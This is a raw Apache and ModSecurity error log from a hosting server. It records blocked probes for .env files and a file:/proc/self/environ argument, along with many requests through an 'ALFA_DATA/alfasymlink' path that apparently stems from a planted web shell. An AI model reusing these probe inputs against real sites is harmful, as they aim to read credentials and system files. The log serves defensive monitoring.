[Mon Oct 26 09:54:30.169554 2026] [core:error] [pid 3040034:tid 3040034] (13)Permission denied: [client 23.23.213.182:59938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/virtio-pci/bind
[Mon Oct 26 09:54:34.138549 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 54.156.124.2:38757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:54:42.153669 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 52.203.65.83:9013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:54:42.660730 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9blzs8VJ7QW5firx_ljgAAAAE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:54:42.660777 2026] [security2:error] [pid 3035808:tid 3035808] [client 107.172.76.131:54318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9blzs8VJ7QW5firx_ljgAAAAE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 09:54:46.163604 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 23.21.175.228:35148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:55:03.389538 2026] [security2:error] [pid 3039887:tid 3039887] [client 170.106.140.110:34214] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/"] [unique_id "at9btz67rV4hhLyl0laAXAAAAAw"]
[Mon Oct 26 09:55:10.160399 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 23.23.137.202:24910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:55:26.872038 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9bw-CMgRXzP74NO6wL_QAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:55:26.872120 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9bw-CMgRXzP74NO6wL_QAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:55:34.202201 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 35.174.141.243:38209] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:55:38.138558 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 52.204.253.129:17297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:55:42.264954 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 3.225.45.252:26138] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:55:54.154522 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 54.235.125.129:39838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:02.151338 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 18.233.24.238:63452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:07.042712 2026] [authz_core:error] [pid 3040035:tid 3040035] [client 66.132.172.223:21720] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:56:07.711645 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:55824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9b93T09R7Np-FQ85dk3wAAAAo"]
[Mon Oct 26 09:56:07.711910 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:55824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9b93T09R7Np-FQ85dk3wAAAAo"]
[Mon Oct 26 09:56:07.712192 2026] [security2:error] [pid 3027735:tid 3027735] [client 130.12.180.167:55824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9b93T09R7Np-FQ85dk3wAAAAo"]
[Mon Oct 26 09:56:10.165267 2026] [ssl:error] [pid 3038660:tid 3038660] (70014)End of file found: [client 23.23.214.190:39829] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:22.145678 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 98.84.70.201:4715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:30.136910 2026] [ssl:error] [pid 3034823:tid 3034823] (70014)End of file found: [client 23.21.250.48:9161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:38.145761 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 34.224.9.144:50531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:54.227115 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 23.21.175.228:2181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:56:56.365933 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9cHOCMgRXzP74NO6wMBAAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:56:56.365992 2026] [security2:error] [pid 3039832:tid 3039832] [client 107.172.76.131:54321] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9cHOCMgRXzP74NO6wMBAAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 09:57:06.286559 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 52.6.232.201:7314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:57:10.284094 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 54.156.55.147:51159] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:57:22.176903 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 52.204.37.237:40615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:57:29.376691 2026] [security2:error] [pid 3034818:tid 3034818] [client 43.156.232.154:36910] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at9cSXYYJ1RlC0FZClQGfwAAABw"]
[Mon Oct 26 09:57:29.377734 2026] [authz_core:error] [pid 3034818:tid 3034818] [client 43.156.232.154:36910] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 09:57:38.212534 2026] [ssl:error] [pid 3041799:tid 3041799] (70014)End of file found: [client 54.204.12.115:1554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:57:54.173114 2026] [core:error] [pid 3034818:tid 3034818] (13)Permission denied: [client 34.231.118.144:60130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/serial/remove_id
[Mon Oct 26 09:58:02.283037 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 3.212.205.90:45618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:06.218039 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 18.211.148.239:14179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:10.313815 2026] [ssl:error] [pid 3034818:tid 3034818] (70014)End of file found: [client 100.29.160.53:60560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:17.019434 2026] [core:error] [pid 3040035:tid 3040035] (13)Permission denied: [client 185.191.171.15:48394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/slabs
[Mon Oct 26 09:58:18.174134 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 52.3.102.51:58557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:26.144235 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 44.197.76.210:51508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:38.133074 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 34.194.165.45:39869] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:58:42.137305 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 52.1.157.90:44808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:02.189525 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 3.217.171.106:4078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:06.173054 2026] [ssl:error] [pid 3038684:tid 3038684] (70014)End of file found: [client 34.199.252.22:61098] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:08.743235 2026] [security2:error] [pid 3034818:tid 3034818] [client 44.209.220.188:15801] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9crHYYJ1RlC0FZClQGhgAAABw"]
[Mon Oct 26 09:59:08.743276 2026] [security2:error] [pid 3034818:tid 3034818] [client 44.209.220.188:15801] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/contacto.php"] [unique_id "at9crHYYJ1RlC0FZClQGhgAAABw"]
[Mon Oct 26 09:59:10.164772 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 54.157.84.74:11668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:14.197418 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 44.221.227.90:51192] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:19.231744 2026] [core:error] [pid 3040035:tid 3040035] (13)Permission denied: [client 85.208.96.207:39306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/total_objects
[Mon Oct 26 09:59:19.232560 2026] [security2:error] [pid 3040035:tid 3040035] [client 85.208.96.207:39306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/total_objects"] [unique_id "at9ct5204gkO_cfUSwel9AAAAA0"]
[Mon Oct 26 09:59:19.232613 2026] [security2:error] [pid 3040035:tid 3040035] [client 85.208.96.207:39306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/total_objects"] [unique_id "at9ct5204gkO_cfUSwel9AAAAA0"]
[Mon Oct 26 09:59:30.388259 2026] [core:error] [pid 3043007:tid 3043007] (13)Permission denied: [client 3.213.106.226:56398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/device:05/physical_node/virtio1/driver/module/drivers/virtio:virtio_blk/bind
[Mon Oct 26 09:59:36.901530 2026] [core:error] [pid 3041799:tid 3041799] (13)Permission denied: [client 185.191.171.8:63834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/usersize
[Mon Oct 26 09:59:38.225469 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 54.83.23.103:36714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/event2/subsystem/input5/device/driver/pcspkr/driver/module/sections/__mcount_loc
[Mon Oct 26 09:59:46.280106 2026] [ssl:error] [pid 3039887:tid 3039887] (70014)End of file found: [client 3.235.215.92:10633] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:50.257817 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 3.211.181.86:5771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:59:58.467221 2026] [ssl:error] [pid 3042115:tid 3042115] (70014)End of file found: [client 50.19.79.213:7798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:00:00.144960 2026] [core:error] [pid 3034823:tid 3034823] (13)Permission denied: [client 185.191.171.16:40202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/red_zone
[Mon Oct 26 10:00:10.488456 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 184.72.84.154:50020] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:00:25.581172 2026] [core:crit] [pid 3034827:tid 3034827] (13)Permission denied: [client 66.132.159.117:46878] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:00:26.355421 2026] [ssl:error] [pid 3040035:tid 3040035] (70014)End of file found: [client 44.194.139.149:50643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:00:26.457215 2026] [core:crit] [pid 3039887:tid 3039887] (13)Permission denied: [client 66.132.159.117:46902] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 10:00:30.402186 2026] [ssl:error] [pid 3036181:tid 3036181] (70014)End of file found: [client 52.203.152.231:58759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:00:42.395558 2026] [ssl:error] [pid 3034827:tid 3034827] (70014)End of file found: [client 52.54.95.127:39026] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:00:46.352625 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 52.1.157.90:52542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/module/uevent
[Mon Oct 26 10:00:58.299599 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 54.85.7.119:19416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:01:02.292504 2026] [ssl:error] [pid 3039957:tid 3039957] (70014)End of file found: [client 52.204.174.139:28274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:01:06.312137 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 98.83.178.66:4319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:01:10.337908 2026] [ssl:error] [pid 3039833:tid 3039833] (70014)End of file found: [client 98.82.59.253:37851] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:01:46.397009 2026] [ssl:error] [pid 3043900:tid 3043900] (70014)End of file found: [client 100.24.167.60:3552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:01:58.500644 2026] [core:error] [pid 3039833:tid 3039833] (13)Permission denied: [client 35.171.141.42:10473] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory1/node0/cpu1/firmware_node/subsystem/drivers_probe
[Mon Oct 26 10:02:06.430086 2026] [ssl:error] [pid 3043007:tid 3043007] (70014)End of file found: [client 184.73.167.217:65114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:10.557031 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 54.164.106.236:21820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/hpet/bind
[Mon Oct 26 10:02:14.634281 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 54.145.82.217:25803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:14.895752 2026] [core:error] [pid 3034827:tid 3034827] (13)Permission denied: [client 85.208.96.195:14906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/objs_per_slab
[Mon Oct 26 10:02:18.615235 2026] [ssl:error] [pid 3043007:tid 3043007] (70014)End of file found: [client 3.230.69.161:17882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:26.480547 2026] [ssl:error] [pid 3039833:tid 3039833] (70014)End of file found: [client 3.222.85.38:26207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:30.892061 2026] [ssl:error] [pid 3040034:tid 3040034] (70014)End of file found: [client 3.224.104.67:25310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:34.452840 2026] [ssl:error] [pid 3043007:tid 3043007] (70014)End of file found: [client 3.213.46.222:38471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:38.519106 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 52.21.62.139:19182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:02:58.572132 2026] [ssl:error] [pid 3041714:tid 3041714] (70014)End of file found: [client 52.45.194.165:33605] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:03:02.623062 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 184.73.195.18:53897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:03:12.252317 2026] [ssl:error] [pid 3042122:tid 3042122] (70014)End of file found: [client 44.207.207.36:22302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:03:26.085845 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9drtdWtrCZuT8sbNQ5aQAAACU"]
[Mon Oct 26 10:03:26.086213 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9drtdWtrCZuT8sbNQ5aQAAACU"]
[Mon Oct 26 10:03:26.086526 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9drtdWtrCZuT8sbNQ5aQAAACU"]
[Mon Oct 26 10:03:26.181035 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9driDi6FEnz4zo40NhbgAAAAk"]
[Mon Oct 26 10:03:26.181318 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9driDi6FEnz4zo40NhbgAAAAk"]
[Mon Oct 26 10:03:26.181612 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/"] [unique_id "at9driDi6FEnz4zo40NhbgAAAAk"]
[Mon Oct 26 10:03:26.218802 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9drgt8dJFpdHay4jzKewAAAAA"]
[Mon Oct 26 10:03:26.219355 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9drgt8dJFpdHay4jzKewAAAAA"]
[Mon Oct 26 10:03:26.219612 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at9drgt8dJFpdHay4jzKewAAAAA"]
[Mon Oct 26 10:03:26.220474 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drokBAlsUe0HxPuSmFgAAAA4"]
